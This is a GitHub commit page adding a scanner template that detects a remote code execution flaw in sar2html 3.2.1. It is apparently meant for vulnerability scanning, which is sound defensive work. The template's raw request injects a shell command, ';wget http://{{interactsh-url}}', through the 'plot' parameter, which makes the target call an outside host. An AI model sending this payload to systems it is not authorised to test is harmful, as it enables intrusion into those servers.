Merge pull request #2374 from gy741/rule-add-v54

Create sar2html-rce.yaml
patch-1
Prince Chaddha 2021-08-12 15:06:13 +05:30 committed by GitHub
commit 0875847c7d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

View File

@ -0,0 +1,26 @@
id: sar2html-rce
info:
name: sar2html 3.2.1 - 'plot' Remote Code Execution
author: gy741
severity: critical
description: SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
reference: |
- https://www.exploit-db.com/exploits/49344
tags: sar2html,rce,oob
requests:
- raw:
- |
GET /index.php?plot=;wget%20http://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"